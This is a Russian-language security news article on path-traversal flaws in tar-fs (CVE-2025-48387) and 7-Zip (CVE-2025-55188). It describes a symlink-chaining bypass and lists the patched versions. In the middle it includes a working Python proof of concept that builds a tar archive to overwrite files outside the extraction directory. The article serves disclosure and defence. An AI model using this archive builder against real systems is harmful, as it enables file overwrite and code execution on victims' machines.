Уязвимости в tar-fs и 7-Zip, позволяющие записать файлы за пределы базового каталога

В NPM-пакете tar-fs выявлена
уязвимость (CVE-2025-48387), позволяющая при распаковке специально оформленного tar-архива записать файлы в любые части ФС, не ограниченные каталогом, в который осуществляется распаковка (насколько позволяют права доступа текущего пользователя). Уязвимость также может использоваться для перезаписи существующих файлов, например, для организации выполнения своего кода в системе могут быть переписаны файлы «.ssh/id_rsa» или «.bashrc» в домашнем каталоге пользователя.

Проблеме присвоен критический уровень опасности c учётом того, что пакет tar-fs имеет 23 миллиона загрузок в неделю и используется как зависимость в 1155 проектах. Уязвимость устранена в выпусках 3.0.9, 2.1.3 и 1.16.5, которые были сформированы в мае, но информация об уязвимости раскрыта лишь спустя почти 3 месяца.

Уязвимость вызвана недостаточными проверками имеющихся в архиве символических и жёстких ссылок на предмет их выхода за пределы целевого каталога для распаковки. Для обхода проверок применяются две символические ссылки: первая указывает на корневой каталог распаковки архива («.»), а вторая создаётся относительно первой символической ссылки и использует в имени символы «../» для выхода за пределы базового каталога. Например, первая ссылка «noop/noop/noop» указывает на «.», а вторая «noop/noop/noop/../../../» раскрывается как «./../../../». Для организации перезаписи файлов в архиве может быть создана жёсткая ссылка, ссылающаяся на внешний файл относительно второй символической ссылки.


import tarfile
import io
with tarfile.open("poc.tar", mode="x") as tar:
    root = tarfile.TarInfo("root")
    root.linkname = ("noop/" * 15) + ("../" * 15)
    root.type = tarfile.SYMTYPE
    tar.addfile(root)
    noop = tarfile.TarInfo("noop")
    noop.linkname = "."
    noop.type = tarfile.SYMTYPE
    tar.addfile(noop)
    hard = tarfile.TarInfo("hardflag")
    hard.linkname = "root/home/username/flag/flag"
    hard.type = tarfile.LNKTYPE
    tar.addfile(hard)
    content = b"overwriten"
    overwrite = tarfile.TarInfo("hardflag")
    overwrite.size = len(content)
    overwrite.type = tarfile.REGTYPE
    tar.addfile(overwrite, fileobj=io.BytesIO(content))
    content = b"new!n"
    newfile = tarfile.TarInfo("root/home/username/flag/newfile")
    newfile.size = len(content)
    newfile.type = tarfile.REGTYPE
    tar.addfile(newfile, fileobj=io.BytesIO(content))

Похожая уязвимость (CVE-2025-55188) выявлена в архиваторе 7-Zip. Для записи файлов вне базового каталога в 7-Zip также могут использоваться символические ссылки, имеющие последовательность «../» в файловом пути. Проблема может быть эксплуатирована при распаковке при помощи 7-Zip любых архивов, поддерживающих символические ссылки, например, zip, tar, 7z и rar. Проблема устранена в версии 7-Zip 25.01.

Источник: http://www.opennet.ru/opennews/art.shtml?num=63740